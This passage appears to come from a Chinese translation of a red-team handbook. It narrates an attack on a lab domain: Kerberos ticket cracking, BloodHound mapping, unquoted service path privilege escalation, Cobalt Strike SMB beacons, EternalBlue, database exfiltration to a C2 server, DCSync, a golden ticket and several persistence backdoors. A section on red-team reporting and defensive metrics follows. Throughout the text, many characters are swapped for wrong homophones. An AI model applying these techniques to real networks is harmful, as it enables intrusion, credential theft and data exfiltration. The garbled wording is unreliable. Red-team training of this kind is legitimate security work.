40码线你领会我方需要快速离开这个第一台主机。于是你将扫数拿回的 Kerberos ticket(单子)导入到 Hashcat 范例中,然后最先破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个相称正确的决定。当 hash 最先破解的时候,你珍爱到有一些做事账户的密码也曾破解已矣,但是你现在还没期间行止理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,何况 Neil 的 AD 账户(域账户)可以拜谒另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行结合,你长途生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户程度中。
50码线行运的是,你的账户(Neil 的域账户)在 Buzz 主机的土产货料理员成员组中,这意味着你能在这个主机上作念更多的协同责任。 使用 Bloodhound 进行信息汇集,你能够遍历通盘 CSK-LAB 域的辘集,但你意志到你在这个主机中并莫得 system 权限。无谓缅想,你可以加载 powerup 这个 powershell 剧本文献来查找这个主机的造作建立,进而让你权限提高到 system 权限。如你所料,做事二进制文献有多数没加引号的旅途,你可以在那写入你我方的 payload。你可以快速作念一个新的坏心的二进制文献来得到 system 权限。
60码线你在第二台主机上运行一个新的 Cobalt Strike 的 payload 得到了一个新的 beacon,这让你即使被他们发现了一些印迹,也能保持拜谒权限。这是一个 system 权限的 beacon 结合,你可以通过该主机查找机器中存储在浏览器、WinSCP 建立文献等文本文献中的多数凭证。这台主机是个金矿,它可以结合到多个做事器和数据库。你珍爱到此主机位于不同的 VLAN 上。看起来这个主机可以拜谒那些从 Neil 的主机无法看到的这个内网中的更多的网段和主机。你再次运行敕令进行内网信息汇集,通过 Bloodhound 来了解你当前能拜谒的网段和主机。你珍爱到这些辘集中的许多主机无法结合到外网,因此你无法得到 HTTP 的 beacon。但是因为你使用的是 Cobalt Strike(https://www.cobaltstrike.com/help-smb-beacon ),因此你知说念它有一个坚强的功能,可将内网断网主机和你当前已控的 beacon 进行 SMB 管说念结合上线。这就意味着通盘实验室的 VLAN 辘集中其他受到攻击的机器皆可以利用当前这个 CSK-LAB 主机拜谒到外网。另外,你发现这些在半隔断辘集中的主机并莫得获取系统更新。看上去,这些运行着 Windows 7系统的客户端主机中并莫得为 EternalBlue(不朽之蓝缺点)打补丁。
70码线通过这台 CSK-LAB 主机,你可以使用经过修改的 EternalBlue 缺点、利用 payload 在这个 lab 域中的大多数 windows 7机器中中得到 SMB 的 beacon。你最先使用这些新的 shell 来得到更多的信息。你发现其中一个主机和一个名为 Restricted 的长途 Microsoft SQL 做事器保持着活跃的结合。你尝试了在这个 lab 域中汇集的扫数账户,但这些凭证皆不适用于这个数据库做事器。你感到痛心,你回头望望我方扫数的条记,然后意志到你忘了那些正在破解的 Kerberos 单子!你通过 SSH 结合到负责破解 hash 的机器,稽查那些破解结果,在结果中找出那些贯穿 Restricted 数据库的凭证。当你找到这个做事帐号的密码时,你浑身得到了巨大的自若感。
80码线你登录到名为 Restricted 的数据库做事器并对通盘数据库进行了脱库。 你很想顺利在数据库做事器中顺利稽查,但你知说念期间有限。 你使用一些 PowerShell 剧本对数据进行加密压缩,然后在不同的内网已控主机之间迟缓传递,临了将压缩数据利用辘集更始到我方的 C2 做事器上。
你告诉你我方,你作念到了!但是当你逐渐从飘了的嗅觉中冷静下来,你发现我方仍然有责任要作念。你回过甚来翻阅那些之前导出的 Bloodhound 汇集的信息,发现一台名为 Purri Gagarin 的主机,它属于 IT 时代接济部门的责任组 。很好,咱们可以使用它来长途桌面结合或者使用 Windows ACE 结合到域料理员的机器,然后咱们可以将域料理员的密码重置为咱们自界说的密码。咱们接着操作,重置域料理员 Elon Muskkat 的密码,然后作念一些 AD 持久化的成立来看管持久的域管权限。
90码线咱们需要作念的临了一件事情是从域控制器中导出扫数的哈希,何况成立其他的后门,临了擦除咱们的印迹。你可以使用 Mimikatz 应用的的 DCsync 功能来获取扫数用户的哈希,包括 krbtgt 单子。而不是使用动静很大的方法(卷影复制做事)来获取域里扫数用户的哈希。咱们现在领有了黄金单子!这意味着咱们如果重新回到内网中,咱们可以创建我方的 Kerberos 单子何况让它成为域料理员。
译者注: 卷影复制做事(Volume Shadow Copy Service,简称 VSS)是微软 Windows 的一项组件做事。卷影复制做事是一项定时为分卷作复制的做事。做事会在分卷新增一个名为“暗影复制”(Shadow Copy)的选项。此做事可为离线用户提供离线文献做事。
为了留住更多的后门,咱们在不同主机中使用了不同的时代。咱们在一个主机中成立了 shift 后门;使用 backdoorfactory 时代将咱们的坏心软件躲避在另一个主机中的常用二进制可实行文献中;将系统的筹备任务成立为每周运行一次回连咱们的 C2 做事器;使用一个和 lab 域分离的主机,使用 dnscat 的可实行二进制文献代替系统中一个没啥用的运行做事;还删除了几个主机的启动文献夹中的 payload。
咱们是行运的(天然与之对应咱们的行运建立在他们的倒霉之上),咱们到面前为止皆莫得被发现。但你要记着,红队浸透评估的目的是为清爽解公司或组织发现坏心攻击行径的速率有多快(CSK 公司并莫得发现),以及他们实行济急响应、取证温煦解攻击带来的负面影响的速率有多快。是以在临了你尝试触发 CSK 的蓝队采取行动,运行了一个 powershell 剧本( https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-RickAstley.ps1 )。你惬意的笑了,然后关闭条记本电脑。
任务完成 :)
第10章 赛后——分析陈说在之前的 THP 册本中,咱们有先容如何编写浸透测试陈说的示例,并提供了多数陈说模板。这些示例相称适合那些践规踏矩的作念浸透测试的行径,但是不适合红队的行径。正如本书所述,红队的焦点不是识别缺点自己(固然这亦然责任的一部分),而是测试东说念主、器具、责任进程和职工的技能组合。如果你的公司被授权的浸透测试者或者未授权的坏东说念主攻击并得胜入侵,你会给我方的功绩打几分?我一直反对使用差距评估分数、ISO 分数、老成度模子分数、圭臬风险分析、热度图和近似类型的陈说来展示公司安全式样的真实气象。
就我个东说念主而言,我可爱看到公司从之前的红队行径中采取措施进行控制,以测试是否真的取得了进展。举例,对于一个使用了近似域名方法的辘集垂钓行径,咱们看到公司启用了以下一些功能:
使用 dnstwist 对与其公司近似的域名发出警报; 成立一个外部电子邮件域的确凿列表。任何与之不匹配的外部邮件皆将在最终用户可见的电子邮件中附加一个标题,说明它是外部(非公司)的、未经批准的电子邮件源。这将匡助你的用户更容易识别辘集垂钓。 来自代理中未分类的域的电子邮件中的任何贯穿至少应单击一次并申饬用户改贯穿未分类。 禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。这只是一个公司可以实施的可以阻滞攻击的一些简单方法。
请记着,红队东说念主员只需要找到一个缺点就可能碎裂通盘内网环境。但是蓝队成员只需要识别攻击者的 TTP(战术,时代和过程)之一,就可以阻滞这抑制。因此,现在的问题是,如果这些 TTP 中的一个也曾引起驻守系统发出警报,你的济急响应团队发现警报并处理抑制的速率有多快?是以红队格调的陈说应该包括哪些内容呢?由于红队这个主张还很新,面前还莫得圭臬的陈说模板,咱们可以根据客户的需求进行定制。在我看来,因为咱们可能会在一个完整的红队行径中屡次尝试进入一个内网环境(且被收拢几次),是以咱们想要把好的方面和不好的方面皆在陈说中皆展示出来。
在行径期间、记条记方面,许多器具如 Empire 和 Cobalt Strike 在红队行径期间皆有很好的行径日记记载,但这些可能还远远不够。我发现对咱们团队的行径相称有用的是,建立一个简单的 Web 做事器来记载红队成员实行的每个操作。记载过程中只汇集最基本的信息,其中包括特定的事件、做事器、神态、影响、任何警报和屏幕截图。大多数红队/浸透测试东说念主员皆不可爱作念条记,但这类记载提供了一种简单的追踪行径的方法。
一朝行径闭幕,咱们将汇集扫数条记并将其组合在全部,以构建一个能讲述故事的红队陈说。红队陈说的主要构成部分可能包括:
简介/范围:本节需要明确说明行径的宗旨。举例,有些客户要求咱们拜谒特定的数据、得到域料理权限、获取 PII(个东说念主身份信息)、获取 IP 或在找到他们的出产环境的做事器的标志(flag)。
方针:在一场交战之后得到攻击陈说是对济急响应团队/取证团队相称有匡助的。咱们还想肯定他们的防止器具或安全传感器可能遗漏的地方,那些使他们无法实行取证或检测坏心行径的大意。因此,咱们但愿给出C2做事器的IP地址、使用的域名、二进制文献的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被垂钓的受害者列表以及任何其他可能有助于取证/济急响应团队的信息。
攻击期间轴:这是红队行动中最要紧的部分之一,作念好条记是有酬金的。期间轴应该充分说明扫数的主要行径,任何触发警报的 TTP,以及主要的行径。这将允许蓝队比较他们的期间轴和条记,望望他们错过了什么。在一次果真的攻击中,你有契机研究那些坏东说念主对于他们作念的每坏件事吗?这对辞谢团队来说口舌常有意的。一个期间轴示例可能是这样的:
检测期间(TTD)/科罚期间(TTM):这日常是咱们可以使用蓝队陈说构建 TTD/TTM 统计数据的地方。咱们皆想要肯定蓝队发现一次多重入侵所需的期间;扫描事件触发观望之前破耗的期间(如果观望了的话);以及蓝队需要多耐久间来识别辘集垂钓行径。 第二部分应该磋磨关联采取行动之前破耗的期间的统计数据。如果有已申饬的 C2 通讯或已识别的辘集垂钓,那么在防火墙或 DNS 做事器上封闭这些域需要破耗的期间是多久?咱们日常看到公司可能擅长屏蔽域名,但是当 C2 做事器通过 IP 进行通讯时会很快失败(反之亦然)。咱们但愿确保追踪此行径并帮咱们的客户来识别它。另一个很有用的 TTM 权衡圭臬是他们最快的情况下要花多久来隔断一个也曾阐发受损的系统。随着坏心软件变得越来越自动化,咱们需要最先利用智能化和自动化的进程将系统或辘集的一部分与组织的其他部分隔断开来。
来自济急响应/济急东说念主员的反馈:我最可爱记载的东西之一是来自蓝队的反馈:他们是如何从辞谢的角度看待通盘行径的。我想知说念的是,他们是否认为我方遵守了安全策略,事件负责东说念主是否鼓励了观望,料理层是否过度介入,安全部门如何与 IT 部门进行安全方面的互动,从而促进任何与 IT 联系的改变(防火墙屏蔽、DNS 修改等等)。以及他们中间的哪些东说念主过于惊愕、哪些东说念主过于冷静。
如前所述,红队的目的不是寻找缺点或碎裂环境(尽管这口舌常趣味趣味的部分),而是改善客户组织的举座安全范例和经营并解说其环境中存在某些缺点。如今,许多公司对我方的安全范例过于自信,只须当他们被攻破时才会作念出改变。现在有了红队,咱们可以模拟攻击行动并荧惑客户作念出改变,而不是比及真实入侵的事件,那时随机已为时太晚。